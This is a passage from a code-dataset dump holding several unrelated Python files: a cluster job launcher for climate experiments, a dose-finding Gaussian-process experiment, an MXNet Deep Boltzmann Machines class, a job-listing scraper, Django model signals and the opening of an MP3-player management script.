-b n -V -S /usr/bin/python3 -l white=1 -N \" + job_name\\\n                  + \" -e \" + job_name + \".err -o \" + job_name \\\n                  + \".out  -q all.q@compute-0-1 run_experiment.py \"\n        env = os.environ.copy()\n        env['PATH'] = env['PATH'] + \":\" + os.getcwd()\n        process = subprocess.Popen(\n            command.split(),\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            env=env)\n        out, err = process.communicate()\n        job_ids[key] = out.split()[2]\n        log.info(out)\n        log.info(err)\n    log.info(\"Done with make_directories\")\n\n    return exp_dirs, job_ids\n\n\ndef generate_make_file(make_file_path, param_dict):\n    '''\n    Method to generate the make file for a parameter combination\n\n    Args:\n    ----\n    make_file_path: The destination path for the make file\n\n    param_dict: A dictionary with parameter names as keys and their values as\n    value\n    '''\n    with open(constants.BOOTSTRAP_DIR + 'makeiceclif_template') as template:\n        with open(make_file_path, 'w') as out_file:\n            for line in template:\n                if 'DCALVLIQ' in line:\n                    line2 = line.replace('PARAM', str(param_dict['calvliq']))\n                elif 'DCLIFFVMAX' in line:\n                    line2 = line.replace('PARAM', str(param_dict['cliffvmax']))\n                else:\n                    line2 = line\n                out_file.write(line2)\n\n\ndef get_final_output(directories, keys, final_output_file=None, job_ids=None):\n    job_name = \"output_parse_job\"\n    if job_ids is None:\n        job_ids = {}\n\n    with open('directories', 'w') as outfile:\n        json.dump(directories, outfile)\n\n    with open('keys', 'w') as outfile:\n        json.dump(keys, outfile)\n\n    if final_output_file is None:\n        command = \"qsub -wd \" + os.getcwd() + \\\n                  \" -b n -V -S /usr/bin/python3 -l white=1 -N \" + job_name\\\n                  + \" -e \" + job_name + \".err -o \" + job_name \\\n                  + \".out  -q all.q@compute-0-1 parse_output.py\" \\\n                  + \" --dir_dict_file=directories --param_name_tuple_file=keys\"\n    else:\n        command = \"qsub -wd \" + os.getcwd() \\\n                  + \" -b n -V -S /usr/bin/python3 -l white=1 -N \" + job_name\\\n                  + \" -e \" + job_name + \".err -o \" + job_name + \\\n                  \".out  -q all.q@compute-0-1 parse_output.py \" \\\n                  + \" --dir_dict_file=directories \" \\\n                  + \"--param_name_tuple_file=keys\" \\\n                  + \" --out_file=\"+final_output_file\n\n    env = os.environ.copy()\n    env['PATH'] = env['PATH'] + \":\" + os.getcwd()\n    process = subprocess.Popen(\n        command.split(),\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        env=env)\n    out, err = process.communicate()\n\n    job_ids['ouput_job'] = out.split()[2]\n    log.info(out)\n    log.info(err)\n\n    log.info(\"Ouput parser job scheduled\")\n    return job_ids\n\n\ndef wait_for(job_ids, ping_time=120):\n    '''Method to wait for jobs to finish\n\n    Args:\n    ----\n\n    job_ids: The list of job ids to check\n\n    ping_time: The time period (seconds) after which the system checks\n    if the job has finished\n\n    '''\n    while True in utils.is_job_running(job_ids):\n        time.sleep(ping_time)\n    return\n\n\nif __name__ == '__main__':\n    # DCALVLIQs = np.random.uniform(0, 200, 100)  # 0 - 200 reasonable\n    # DCLIFFVMAXs = np.random.uniform(0, 12e3, 100)  # 0e3 - 12e3 reasonable\n    # utils.configure_logging()\n    # args = parse_args()\n\n    # key_sig = ['calvliq', 'cliffvmax']\n    # exp_dirs, job_ids = initiate_jobs(args)\n    # log.info('Job Ids are %s\\n', job_ids)\n\n    # # wait for all the jobs to finish\n    # while True in utils.is_job_running(job_ids):\n    #     time.sleep(60)\n\n    # job_ids = get_final_output(exp_dirs, key_sig)\n\n    param_names = ['calvliq', 'cliffvmax']\n    param_ranges = [(0, 300), (8e3, 18e3)]\n    utils.configure_logging()\n    args = parse_args()\n\n\n    n_samples = 64\n    n_generations = 25\n    imp_sampler = isam.ImportanceSampler(param_names, param_ranges, random_every = 10, random_sample_count = 5, covar_multiplier = 10)\n\n    for i in range(0, n_generations):\n        samples = imp_sampler.sample(n_samples)\n        exp_dirs, jobs = initiate_jobs(args, samples, param_names)\n        log.info('Job initiated for %d generation\\n', i + 1)\n\n        wait_for(jobs)\n\n        # output_file\n        output_file = args.exp_dir + constants.FINAL_OUTPUT_FILE_NAME \\\n            + \"_\" + str(i + 1)\n\n        # Get the final output in a json file\n        job_id = get_final_output(exp_dirs, param_names, output_file, job_ids=jobs)\n\n        wait_for(job_id)\n\n        # read the esl output\n        with open(output_file) as fl:\n            score_dict = utils.parse_json_output_to_dict(\n                param_names, json.load(fl))\n\n        # convert the esl values to score\n        for k, v in score_dict.items():\n            # score_dict[k] = scoring.binary_score([v],\n            #                                      constants.DESIRED_ESL_RANGE)\n            score_dict[k] = scoring.gaussian_score([v])\n            score_dict[k] = score_dict[k][0]\n\n        # Update the scores in importance sampler object\n        imp_sampler.update_scores(score_dict)\n\n        with open(args.exp_dir+'sampler_'+str(i+1)+'.p', 'wb') as fl:\n            p.dump([imp_sampler], fl)\n","repo_name":"AbhiramE/ClimateChange","sub_path":"setup_experiment.py","file_name":"setup_experiment.py","file_ext":"py","file_size_in_byte":7950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3248251956","text":"import os\nimport numpy as np\nimport pandas as pd\nimport torch\n\nfrom data_generation import DoseFindingScenarios, TrialPopulationScenarios\nfrom dir_gp import DirichletRunner\nfrom experiment_utils import PosteriorPrediction\nfrom new_experiments_clean import select_final_dose, calculate_utility_thall\nfrom plots import plot_gp\n\n\ndef offline_dose_finding(input_filepath, output_filepath, dose_scenario, patient_scenario, num_samples):\n    if not os.path.exists(output_filepath):\n        os.makedirs(output_filepath)\n\n    # Hyperparameters\n    learning_rate = 0.005\n    num_epochs = 300\n    num_confidence_samples = 1000\n    cohort_size = 3\n    final_beta_param = 0.\n    tox_mean_init = 0\n    tox_ls_init = 4\n    eff_mean_init = 0\n    eff_ls_init = 4\n\n    dose_labels = dose_scenario.dose_labels\n    num_doses = dose_scenario.num_doses\n\n    num_subgroups = patient_scenario.num_subgroups\n    num_tasks = patient_scenario.num_subgroups\n    patients = patient_scenario.generate_samples(num_samples)\n    \n    frame = pd.read_csv(f\"{input_filepath}/timestep_metrics.csv\")\n    subgroup_indices = frame['subgroup_idx'].values\n    selected_dose_indices = frame['selected_dose'].values\n    selected_dose_vals = [dose_labels[dose_idx] for dose_idx in selected_dose_indices]\n    tox_responses = frame['tox_outcome'].values\n    eff_responses = frame['eff_outcome'].values\n\n    # Construct training data\n    x_train = torch.tensor(selected_dose_vals, dtype=torch.float32)\n    y_tox_train = torch.tensor(tox_responses, dtype=torch.long)\n    y_eff_train = torch.tensor(eff_responses, dtype=torch.long)\n    task_indices = torch.LongTensor(subgroup_indices).reshape((x_train.shape[0], 1))\n\n    # Construct test data\n    x_test = np.concatenate([np.arange(dose_labels.min(), dose_labels.max(), 0.05, dtype=np.float32), dose_labels])\n    x_test = np.unique(x_test)\n    np.sort(x_test)\n    x_test = torch.tensor(x_test, dtype=torch.float32)\n\n    tox_runner = DirichletRunner(x_train, y_tox_train, task_indices, tox_mean_init, tox_ls_init)\n    tox_runner.train(num_epochs, learning_rate)\n\n    for name, param in tox_runner.model.named_parameters():\n        print(name, param.data)\n\n    eff_runner = DirichletRunner(x_train, y_eff_train, task_indices, eff_mean_init, eff_ls_init)\n    eff_runner.train(num_epochs, learning_rate)\n\n    for name, param in eff_runner.model.named_parameters():\n        print(name, param.data)\n\n    y_tox_posteriors = PosteriorPrediction(num_subgroups, len(x_test))\n    y_tox_latents = PosteriorPrediction(num_subgroups, len(x_test))\n    y_eff_posteriors = PosteriorPrediction(num_subgroups, len(x_test))\n    y_eff_latents = PosteriorPrediction(num_subgroups, len(x_test))\n\n    max_doses = np.zeros(num_subgroups)\n    for subgroup_idx in range(num_subgroups):\n        test_task_indices = torch.full((x_test.shape[0], 1), dtype=torch.long, fill_value=subgroup_idx)\n        tox_posterior = tox_runner.predict(x_test, test_task_indices)\n        tox_latent_lower, tox_latent_upper = tox_posterior.confidence_region()\n        y_tox_latents.set_variables(subgroup_idx, tox_posterior.mean[1], tox_latent_lower[1], tox_latent_upper[1])\n\n        tox_probs = tox_runner.get_posterior_estimate(tox_posterior)\n        y_tox_posteriors.set_variables(subgroup_idx, tox_probs[1])\n\n        eff_posterior = eff_runner.predict(x_test, test_task_indices)\n        eff_latent_lower, eff_latent_upper = eff_posterior.confidence_region()\n        y_eff_latents.set_variables(subgroup_idx, eff_posterior.mean[1], eff_latent_lower[1], eff_latent_upper[1])\n\n        eff_probs = eff_runner.get_posterior_estimate(eff_posterior)\n        y_eff_posteriors.set_variables(subgroup_idx, eff_probs[1])\n\n        max_doses[subgroup_idx] = np.max(selected_dose_indices[subgroup_indices == subgroup_idx])\n\n\n    final_selected_doses, final_utilities = select_final_dose(num_subgroups, num_doses, dose_labels, x_test, max_doses,\n                                                  y_tox_posteriors, y_eff_posteriors,\n                                                  dose_scenario.toxicity_threshold, dose_scenario.efficacy_threshold,\n                                                  dose_scenario.p_param, final_beta_param)\n\n\n    # Calculate utilities\n    util_func = np.empty((2, len(x_test)))\n    for subgroup_idx in range(2):\n        util_func[subgroup_idx, :] = calculate_utility_thall(y_tox_posteriors.mean[subgroup_idx, :],\n                                                             y_eff_posteriors.mean[subgroup_idx, :],\n                                                             dose_scenario.toxicity_threshold,\n                                                             dose_scenario.efficacy_threshold,\n                                                             dose_scenario.p_param)\n\n    x_mask = np.isin(x_test, dose_labels)\n    markevery = np.arange(len(x_test))[x_mask].tolist()\n\n\n    plot_gp(dose_scenario, x_train, y_tox_train, y_eff_train, patients, num_subgroups,\n            x_test, y_tox_posteriors, y_eff_posteriors, util_func, final_selected_doses,\n            markevery, x_mask, f\"{output_filepath}/final_gp_plot\", dose_scenario.optimal_doses)\n    plot_gp(dose_scenario, x_train, y_tox_train, y_eff_train, patients, num_subgroups,\n            x_test, y_tox_latents, y_eff_latents, util_func, final_selected_doses,\n            markevery, x_mask, f\"{output_filepath}/final_gp_latent_plot\", dose_scenario.optimal_doses)\n\ndose_scenario = DoseFindingScenarios.paper_example_8()\npatient_scenario = TrialPopulationScenarios.skewed_dual_population(0.5)\ninput_filepath = \"results/1example\"\noutput_filepath = \"results/2example\"\nnum_samples = 51\n\noffline_dose_finding(input_filepath, output_filepath, dose_scenario, patient_scenario, num_samples)","repo_name":"chieni/dose_allocation","sub_path":"dir_experiments.py","file_name":"dir_experiments.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70607873472","text":"# -*- coding: utf-8 -*-\r\nimport numpy as np\r\nimport mxnet.ndarray as nd\r\nimport mxnet as mx\r\nfrom mxnet import gluon\r\nfrom mxnet import MXNetError\r\n\r\nimport warnings\r\nfrom accelbrainbase.observabledata._mxnet.restricted_boltzmann_machines import RestrictedBoltzmannMachines\r\nfrom accelbrainbase.iteratable_data import IteratableData\r\nfrom accelbrainbase._mxnet._exception.init_deferred_error import InitDeferredError\r\nfrom logging import getLogger\r\n\r\n\r\nclass DeepBoltzmannMachines(RestrictedBoltzmannMachines):\r\n    '''\r\n    Deep Boltzmann Machines(DBM).\r\n    \r\n    As is well known, DBM is composed of layers of RBMs \r\n    stacked on top of each other(Salakhutdinov, R., & Hinton, G. E. 2009). \r\n    This model is a structural expansion of Deep Belief Networks(DBN), \r\n    which is known as one of the earliest models of Deep Learning\r\n    (Le Roux, N., & Bengio, Y. 2008). Like RBM, DBN places nodes in layers. \r\n    However, only the uppermost layer is composed of undirected edges, \r\n    and the other consists of directed edges.\r\n\r\n    According to graph theory, the structure of RBM corresponds to \r\n    a complete bipartite graph which is a special kind of bipartite \r\n    graph where every node in the visible layer is connected to every \r\n    node in the hidden layer. Based on statistical mechanics and \r\n    thermodynamics(Ackley, D. H., Hinton, G. E., & Sejnowski, T. J. 1985), \r\n    the state of this structure can be reflected by the energy function.\r\n\r\n    In relation to RBM, the Contrastive Divergence(CD) is a method for \r\n    approximation of the gradients of the log-likelihood(Hinton, G. E. 2002).\r\n    This algorithm draws a distinction between a positive phase and a \r\n    negative phase. Conceptually, the positive phase is to the negative \r\n    phase what waking is to sleeping.\r\n\r\n    The procedure of this method is similar to Markov Chain Monte Carlo method(MCMC).\r\n    However, unlike MCMC, the visbile variables to be set first in visible layer is \r\n    not randomly initialized but the observed data points in training dataset are set \r\n    to the first visbile variables. And, like Gibbs sampler, drawing samples from hidden \r\n    variables and visible variables is repeated k times. Empirically (and surprisingly), \r\n    `k` is considered to be `1`.\r\n\r\n    **Note** that this class does not support a *Hybrid* of imperative and symbolic \r\n    programming. Only `mxnet.ndarray` is supported.\r\n\r\n    References:\r\n        - Ackley, D. H., Hinton, G. E., & Sejnowski, T. J. (1985). A learning algorithm for Boltzmann machines. Cognitive science, 9(1), 147-169.\r\n        - Hinton, G. E. (2002). Training products of experts by minimizing contrastive divergence. Neural computation, 14(8), 1771-1800.\r\n        - Le Roux, N., & Bengio, Y. (2008). Representational power of restricted Boltzmann machines and deep belief networks. Neural computation, 20(6), 1631-1649.\r\n        - Salakhutdinov, R., & Hinton, G. E. (2009). Deep boltzmann machines. InInternational conference on artificial intelligence and statistics (pp. 448-455).\r\n\r\n    '''\r\n\r\n    # `bool` that means initialization in this class will be deferred or not.\r\n    __init_deferred_flag = False\r\n\r\n    def __init__(\r\n        self, \r\n        computable_loss,\r\n        rbm_list,\r\n        initializer=None,\r\n        optimizer_name=\"SGD\",\r\n        learning_rate=0.005,\r\n        learning_attenuate_rate=1.0,\r\n        attenuate_epoch=50,\r\n        ctx=mx.gpu(),\r\n        **kwargs\r\n    ):\r\n        '''\r\n        Init.\r\n        \r\n        Args:\r\n            computable_loss:            is-a `ComputableLoss`.\r\n            rbm_list:                   `list` of `RestrictedBoltzmannMachines`s.\r\n            initializer:                is-a `mxnet.initializer` for parameters of model. If `None`, it is drawing from the Xavier distribution.\r\n            optimizer_name:             `str` of name of optimizer.\r\n            learning_rate:              `float` of learning rate.\r\n            learning_attenuate_rate:    `float` of attenuate the `learning_rate` by a factor of this value every `attenuate_epoch`.\r\n            attenuate_epoch:            `int` of attenuate the `learning_rate` by a factor of `learning_attenuate_rate` every `attenuate_epoch`.\r\n            ctx:                        `mx.gpu()` or `mx.cpu()`.\r\n\r\n        '''\r\n        for rbm in rbm_list:\r\n            if isinstance(rbm, RestrictedBoltzmannMachines) is False:\r\n                raise TypeError(\"The type of values of `rbm_list` must be `RestrictedBoltzmannMachines`.\")\r\n        self.__rbm_list = rbm_list\r\n\r\n        init_deferred_flag = self.init_deferred_flag\r\n        self.init_deferred_flag = True\r\n        super().__init__(\r\n            computable_loss=computable_loss,\r\n            initializer=initializer,\r\n            optimizer_name=optimizer_name,\r\n            learning_rate=learning_rate,\r\n            learning_attenuate_rate=learning_attenuate_rate,\r\n            attenuate_epoch=attenuate_epoch,\r\n            ctx=ctx,\r\n            **kwargs\r\n        )\r\n        self.init_deferred_flag = init_deferred_flag\r\n\r\n        if initializer is None:\r\n            self.initializer = mx.initializer.Xavier(\r\n                rnd_type=\"gaussian\", \r\n                factor_type=\"in\", \r\n                magnitude=1\r\n            )\r\n        else:\r\n            if isinstance(initializer, mx.initializer.Initializer) is False:\r\n                raise TypeError(\"The type of `initializer` must be `mxnet.initializer.Initializer`.\")\r\n\r\n            self.initializer = initializer\r\n\r\n        if self.init_deferred_flag is False:\r\n            try:\r\n                self.collect_params().initialize(self.initializer, force_reinit=True, ctx=ctx)\r\n                self.trainer = gluon.Trainer(self.collect_params(), optimizer_name, {\"learning_rate\": learning_rate})\r\n            except InitDeferredError:\r\n                self.__logger.debug(\"The initialization should be deferred.\")\r\n\r\n        logger = getLogger(\"accelbrainbase\")\r\n        self.__logger = logger\r\n\r\n    def collect_params(self, select=None):\r\n        '''\r\n        Overrided `collect_params` in `mxnet.gluon.HybridBlok`.\r\n        '''\r\n        params_dict = self.__rbm_list[0].collect_params(select)\r\n        for i in range(1, len(self.__rbm_list)):\r\n            params_dict.update(self.__rbm_list[i].collect_params(select))\r\n        return params_dict\r\n\r\n    def inference(self, observed_arr):\r\n        '''\r\n        Inference samples drawn by `IteratableData.generate_inferenced_samples()`.\r\n\r\n        Args:\r\n            observed_arr:   rank-2 Array like or sparse matrix as the observed data points.\r\n                            The shape is: (batch size, feature points)\r\n\r\n        Returns:\r\n            `mxnet.ndarray` of inferenced feature points.\r\n        '''\r\n        self.batch_size = observed_arr.shape[0]\r\n        for i in range(len(self.__rbm_list)):\r\n            self.__rbm_list[i].batch_size = self.batch_size\r\n            _ = self.__rbm_list[i].inference(observed_arr)\r\n            observed_arr = self.__rbm_list[i].feature_points_arr\r\n\r\n        return observed_arr\r\n\r\n    def regularize(self):\r\n        '''\r\n        Regularization.\r\n        '''\r\n        for i in range(len(self.__rbm_list)):\r\n            self.__rbm_list[i].regularize()\r\n\r\n    def set_readonly(self, value):\r\n        ''' setter '''\r\n        raise TypeError(\"This is read-only.\")\r\n\r\n    def get_feature_points_arr(self):\r\n        ''' getter for `mxnet.ndarray` of feature points.'''\r\n        return self.__hidden_activity_arr\r\n\r\n    feature_points_arr = property(get_feature_points_arr, set_readonly)\r\n\r\n    def get_init_deferred_flag(self):\r\n        ''' getter for `bool` that means initialization in this class will be deferred or not.'''\r\n        return self.__init_deferred_flag\r\n    \r\n    def set_init_deferred_flag(self, value):\r\n        ''' setter for `bool` that means initialization in this class will be deferred or not.'''\r\n        self.__init_deferred_flag = value\r\n\r\n    init_deferred_flag = property(get_init_deferred_flag, set_init_deferred_flag)\r\n\r\n    def get_rbm_list(self):\r\n        ''' getter '''\r\n        return self.__rbm_list\r\n    \r\n    def set_rbm_list(self, value):\r\n        ''' setter '''\r\n        self.__rbm_list = value\r\n    \r\n    rbm_list = property(get_rbm_list, set_rbm_list)\r\n","repo_name":"accel-brain/accel-brain-code","sub_path":"Accel-Brain-Base/accelbrainbase/observabledata/_mxnet/restrictedboltzmannmachines/deep_boltzmann_machines.py","file_name":"deep_boltzmann_machines.py","file_ext":"py","file_size_in_byte":8287,"program_lang":"python","lang":"en","doc_type":"code","stars":288,"dataset":"github-code","pt":"60"}
+{"seq_id":"29608129384","text":"import requests\nfrom bs4 import BeautifulSoup\n\n# 페이지 번호 뽑기\ndef get_last_page(url):\n    result = requests.get(url)\n    soup = BeautifulSoup(result.text, \"html.parser\")\n\n    pagination = soup.find(\"ul\", {\"class\": \"pagination\"})\n    pages = pagination.find_all(\"a\", {\"class\": \"page-link\"})[1:-1]\n\n    count = 0\n    for link in pages:\n        pages[count] = int(link.string)\n        count += 1\n\n    max_page = pages[-1]\n    return max_page\n\n\n# 잡 서칭\ndef extract_job(html):\n    position_title = html.find(\"h5\", {\"class\": \"position-title\"}).find(\"a\")\n    title = position_title.string\n    company = html.find(\"h6\", {\"class\": \"company-name\"}).string\n    company_info = html.find(\"ul\", {\"class\": \"company-info\"})\n    experience = company_info.find(\"li\", {\"class\": \"experience\"}).text.strip()\n    location = company_info.find(\"li\", {\"class\": \"location\"})\n    if location in company_info:\n        location = location.text.strip()\n    else:\n        location = '장소 불문'\n    job_link = position_title[\"href\"]\n\n    return {\n        'title': title,\n        'company': company,\n        'experience': experience,\n        'location': location,\n        'job_link': f\"https://programmers.co.kr{job_link}\"\n    }\n\n\n# 배열에 담아서 여러 개\ndef extract_jobs(last_pages, url):\n  jobs = []\n  for page in range(1, last_pages + 1):\n    print(f\"{page} 페이지 프로그래머스 구인 광고를 크롤링 중입니다...\")\n    result = requests.get(f\"{url}&page={page}\")\n    soup = BeautifulSoup(result.text, \"html.parser\")\n    li = soup.find_all(\"li\", {\"class\": \"list-position-item\"})\n    for content in li:\n        job = extract_job(content)\n        jobs.append(job)\n  return jobs\n\n# 최종 값\ndef get_jobs(search):\n  url = f'https://programmers.co.kr/job?_=1598625231768&job_position%5Btags%5D%5B%5D={search}'\n  last_page = get_last_page(url)\n  jobs = extract_jobs(last_page, url)\n  return jobs","repo_name":"idoasisay/python-for-beginners","sub_path":"programmers.py","file_name":"programmers.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39910175786","text":"from django.db.models.signals import post_save, post_delete\nfrom django.dispatch import receiver\nfrom rest_framework.generics import get_object_or_404\n\nfrom confirmation.models import Confirmation\nfrom activity.models import Activity\nfrom notification.models import Notification\n\n\n@receiver(post_save, sender=Confirmation)\ndef update_activity_status(sender, instance, **kwargs):\n    \"\"\"\n    Confirmation modeli kaydedildiğinde, ilgili Activity modelinin activity_status değerini günceller.\n    \"\"\"\n    if instance.confirm_status:\n        instance.activity.activity_status = True\n        post_save.disconnect(update_confirmation, sender=Activity)  # post_save sinyalini geçici olarak devre dışı bırak\n        instance.activity.save()\n        post_save.connect(update_confirmation, sender=Activity)  # post_save sinyalini tekrar etkinleştir\n        notification = Notification(receiver=instance.activity.owner, activity_notify=instance.activity,\n                                    text=f\"System staff confirmed your {instance.activity.title} activity.\", type=\"SSC\")\n        notification.save()\n    else:\n        instance.activity.activity_status = False\n        post_save.disconnect(update_confirmation, sender=Activity)\n        instance.activity.save()\n        post_save.connect(update_confirmation, sender=Activity)\n        try:\n            notification = Notification.objects.get(receiver=instance.activity.owner, activity_notify=instance.activity,\n                                                    type=\"SSC\")\n            notification.text = f\"System staff did not confirm your {instance.activity.title} activity.\"\n            notification.type = \"SSR\"\n            notification.save()\n        except Notification.DoesNotExist:\n            notification = Notification(receiver=instance.activity.owner, activity_notify=instance.activity,\n                                        text=f\"System staff confirmed your {instance.activity.title} activity.\", type=\"SSR\")\n            notification.save()\n\n\n@receiver(post_save, sender=Activity)\ndef update_confirmation(sender, instance, **kwargs):\n    if ('title' in instance.get_dirty_fields()) or ('description' in instance.get_dirty_fields()) or ('activity_status' in instance.get_dirty_fields()):\n        confirmation = Confirmation.objects.get(activity=instance)\n        confirmation.confirm_status = False\n        instance.activity_status = False\n        confirmation.confirm_type = 'Update'\n        post_save.disconnect(update_activity_status, sender=Confirmation)\n        confirmation.save()\n        post_save.connect(update_activity_status, sender=Confirmation)\n    try:\n        confirmation = Confirmation.objects.get(activity=instance)\n    except Confirmation.DoesNotExist:\n        instance.activity_status = False\n        post_save.disconnect(update_activity_status, sender=Confirmation)\n        Confirmation.objects.create(activity=instance, confirm_status=False, confirm_type='Create')\n        post_save.connect(update_activity_status, sender=Confirmation)\n    print(instance.get_dirty_fields())\n\n\n@receiver(post_delete, sender=Activity)\ndef delete_related_address(sender, instance, **kwargs):\n    if instance.address:\n        instance.address.delete()","repo_name":"yasinsametkaraca/social-activity-network","sub_path":"api/activity/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5259968293","text":"#!/usr/bin/env python\n#\n# Manage a media device (MP3 player).\n#\n\nimport sys, os, argparse, logging, subprocess\n\nimport shutil\nimport re\nimport fileinput\nimport tempfile\nimport time, datetime\nimport glob\nimport configparser\n\nimport pylast\n\nlogger = logging.getLogger(os.path.basename(sys.argv[0]))\n#lh = logging.StreamHandler()\n#lh.setFormatter(logging.Formatter(\"%(name)s: %(levelname)s: %(message)s\"))\n#logger.addHandler(lh)\n\ndef get_shell(cmd, cwd=None, shell=False):\n    \"\"\"Run a shell command, blocking execution, detaching stdin, stdout and\n    stderr.\n\n    Useful for grabbing shell command outputs, or if you want to run something\n    silently and wait for it to finish.\n\n    @param cmd command to run as an array, where each element is an argument\n    @param cwd if present, directory to use as CWD\n    @return the command's return code, stdout and stderr (respectively, as a\n            tuple)\n    \"\"\"\n    proc = subprocess.run(cmd, stdin=subprocess.DEVNULL,\n                               stdout=subprocess.PIPE,\n                               stderr=subprocess.PIPE,\n                               cwd=cwd,\n                               shell=shell)\n    return proc.returncode, \\\n           proc.stdout.decode(\"utf-8\", \"replace\").strip(), \\\n           proc.stderr.decode(\"utf-8\", \"replace\").strip()\n\ndef drop_to_shell(cmd, cwd=None):\n    \"\"\"Run a shell command, blocking execution.\n\n    Doesn't touch any pipes. Like dropping to shell during execution.\n\n    @param cmd command to run as an array, where each element is an argument\n    @param cwd if present, directory to use as CWD\n    @return the command's exit code\n    \"\"\"\n    return subprocess.run(cmd, cwd=cwd).returncode\n\nclass MountDevice():\n    def __init__(self, device):\n        self.device = device\n        self.__reset_mountpoint()\n\n    def __reset_mountpoint(self):\n        self.mountpoint = \"\"\n\n    def __set_mountpoint(self):\n        rc, cmd_out, _ = get_shell(\"udisksctl info -b \\\"{}\\\" | sed -n 's/ *MountPoints: *\\\\(.*$\\\\)/\\\\1/p'\".format(self.device), shell=True)\n        if rc != 0:\n            raise Exception(\"couldn't find mountpoint for (assumed mounted) device {}\".format(self.device))\n        self.mountpoint = cmd_out\n\n    def get_mountpoint(self):\n        # maybe not good, but for now, if this function is called, assume that\n        # we *are* mounted... so refresh mountpoint\n        self.__set_mountpoint();\n        return self.mountpoint\n\n    def get_device_name(self):\n        return self.device\n\n    def mount(self):\n        \"\"\"Mount this device and set its mountpoint.\"\"\"\n        logger.debug(\"mounting device {} ...\".format(self.device))\n        logger.warning(\"TODO: should check if it's already mounted, fail if so\")\n        rc = get_shell([\"udisksctl\", \"mount\", \"-b\", self.device])[0]\n        if rc != 0:\n            raise Exception(\"could not mount device {} , is the device plugged in?\".format(self.device))\n        self.__set_mountpoint()\n\n    def unmount(self):\n        \"\"\"Unmount this device.\"\"\"\n        logger.debug(\"unmounting device {} ...\".format(self.device))\n        rc = get_shell([\"udisksctl\", \"unmount\", \"-b\", self.device])[0]\n        if rc != 0:\n            raise Exception(\"could not unmount device {}\".format(self.device))\n        self.__reset_mountpoint()\n\nclass BaseClass:\n    def _deinit(self):\n        self.logger.debug(\"deinitialising...\")\n\n    ## CLI-related {{{\n    def _init_logging(self):\n        self.logger = logging.getLogger(os.path.basename(sys.argv[0]))\n        lh = logging.StreamHandler()\n        lh.setFormatter(logging.Formatter(\"%(name)s: %(levelname)s: %(message)s\"))\n        self.logger.addHandler(lh)\n\n    def _parse_verbosity(self):\n        if self.args.verbose == 1:\n            self.logger.setLevel(logging.INFO)\n        elif self.args.verbose >= 2:\n            self.logger.setLevel(logging.DEBUG)\n        if self.args.quiet >= 1:\n            # reset verbosity (to make verbose/quiet checks easier)\n            self.args.verbose = 0\n            self.logger.setLevel(logging.NOTSET)\n\n    def run(self):\n        \"\"\"Run from CLI: parse arguments, run main, deinitialise.\"\"\"\n        self._init_logging()\n        self._parse_args()\n        self.main()\n        self._deinit()\n    ## }}}\n\n    def fail(self, msg=\"internal error\", ret=1):\n        \"\"\"Exit with a message and a return code.\n\n        Should only be used for errors -- if you want to deinitialise and exit\n        safely, simply return from main.\n\n        Suggested to use no parameters for internal functions that the user\n        doesn't need to know about (which generally indicates a logic error,\n        rather than an input one.)\n        \"\"\"\n        self.logger.error(msg)\n        self._deinit()\n        sys.exit(ret)\n\nclass MP3Ctl(BaseClass):\n    DEF_CONFIG_FILE = os.path.join(os.environ.get(\"XDG_CONFIG_HOME\") or os.path.expandvars(\"$HOME/.config\"), \"mp3ctl\", \"config.ini\")\n\n    DEF_MUSCTL = \"musctl.py\"\n    DEF_CONVERTED_EXTS = [\"flac\"]\n\n    PL_REFMT_EXT = \"m3u8\" # fixes Unicode playlists in Rockbox\n    PL_REFMT_PREFIX = \"/<microSD1>/music\" # easy method for making MPD playlists\n                                          # work with Rockbox\n    SCROB_LOG = \".scrobbler.log\"\n    SCROB_LOG_ARCHIVE_FILE = \"{}-scrobbler-log.txt\".format(time.strftime(\"%F-%T\"))\n\n    LYRICS_UNWANTED = [ \"[instrumental]\", \"[not found]\" ]\n\n    ERR_DEVICE    = 1\n    ERR_ARGS      = 2\n    ERR_SCROBBLER = 3\n    ERR_INTERNAL  = 4\n    ERR_MUSCTL    = 5\n    ERR_RSYNC     = 6\n    ERR_CONFIG    = 7\n\n    def __init__(self):\n        self.root_tmpdir = tempfile.mkdtemp(prefix=\"tmp-{}-\".format(os.path.basename(__file__)))\n        self.logger = logger\n\n    def _deinit(self):\n        self.logger.debug(\"deinitialising...\")\n        # TODO: maybe deinit scrobbler if used?\n        shutil.rmtree(self.root_tmpdir)\n\n    ## CLI-related {{{\n    def _parse_args(self):\n        self.parser = argparse.ArgumentParser(description=\"Manage and maintain a music library.\")\n        self.parser.add_argument(\"-v\",  \"--verbose\",    help=\"be verbose\", action=\"count\", default=0)\n        self.parser.add_argument(\"-q\",  \"--quiet\",      help=\"be quiet (overrides -v)\", action=\"count\", default=0)\n        self.parser.add_argument(\"-c\",  \"--config\",     help=\"specify configuration file\", metavar=\"FILE\", default=MP3Ctl.DEF_CONFIG_FILE)\n        self.parser.add_argument(\"-L\",  \"--copy-links\", help=\"when copying, transform symlink into referent file/dir\", action=\"store_true\")\n        subparsers = self.parser.add_subparsers(title=\"commands\", dest=\"command\", metavar=\"[command]\")\n        subparsers.required = True\n\n        subp_scrob = subparsers.add_parser(\"process-scrobbles\",\n                aliases=[\"scrobble\"],\n                help=\"process one or more scrobble logs\",\n                description=\"By default, archive and scrobble the MP3 player's scrobble log. If arguments are given, leave the MP3 player and scrobble the given logs in place.\")\n        subp_scrob.add_argument(\"file\", nargs=\"*\", help=\"logs to scrobble instead of the MP3 player log\")\n        subp_scrob.add_argument(\"-e\", \"--edit\", help=\"edit logs before scrobbling\", action=\"store_true\")\n        subp_scrob.set_defaults(func=self.cmd_process_scrobbles)\n\n        subp_music = subparsers.add_parser(\"cp-music\",\n                aliases=[\"music\"],\n                help=\"music -> MP3 player\",\n                description=\"Copy full music library to MP3 player.\")\n        subp_music.set_defaults(func=self.cmd_cp_music)\n\n        subp_pl = subparsers.add_parser(\"cp-playlists\",\n                aliases=[\"playlists\"],\n                